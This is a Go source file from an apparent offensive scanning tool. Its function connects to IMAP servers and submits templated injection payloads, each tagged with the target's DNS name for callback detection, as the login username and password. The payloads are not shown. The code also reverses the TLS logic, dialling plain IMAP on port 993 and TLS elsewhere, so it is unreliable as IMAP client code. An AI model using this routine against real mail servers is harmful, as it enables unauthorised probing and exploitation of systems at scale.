-
Notifications
You must be signed in to change notification settings - Fork 52
/
imap.go
78 lines (68 loc) · 1.81 KB
/
imap.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package main
import (
"fmt"
"math/rand"
"strings"
"sync"
"time"
"github.com/emersion/go-imap/client"
)
// process a single host on IMAP level
func (p *ProcJob) ProcessHostIMAP(port string, wg *sync.WaitGroup) error {
var host string
if len(port) < 1 {
host = p.Host
port = strings.Split(p.Host, ":")[1]
} else {
host = fmt.Sprintf("%s:%s", p.Host, port)
}
defer wg.Done()
thisTime := time.Now()
fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Total processed: %d | Current: %s | Protocol: %s",
thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
thisTime.Minute(), thisTime.Second(), procCount, host, p.Protocol)
procCount++
var dynamicPayloads []string
sanitisedDnsName := strings.ReplaceAll(host, ".", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, ":", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, "/", "-")
for _, payload := range xload {
dynamicPayloads = append(dynamicPayloads, strings.ReplaceAll(payload, "$DNSNAME$", sanitisedDnsName))
}
var c = &client.Client{
Timeout: 3 * time.Second,
}
var err error
var xc = make(chan bool, 1)
go func() {
if port != "993" {
c, err = client.DialTLS(host, nil)
if err != nil {
// log.Println(err.Error())
return
}
} else {
c, err = client.Dial(host)
if err != nil {
// log.Println(err.Error())
return
}
}
defer c.Logout()
username := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
password := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
// do the login using payloads
if err := c.Login(username, password); err != nil {
//log.Println(err.Error())
return
}
xc <- true
}()
select {
case <-xc:
time.Sleep(time.Duration(delay) * time.Second)
return nil
case <-time.After(3 * time.Second):
return fmt.Errorf("timeout during imap login/dial")
}
}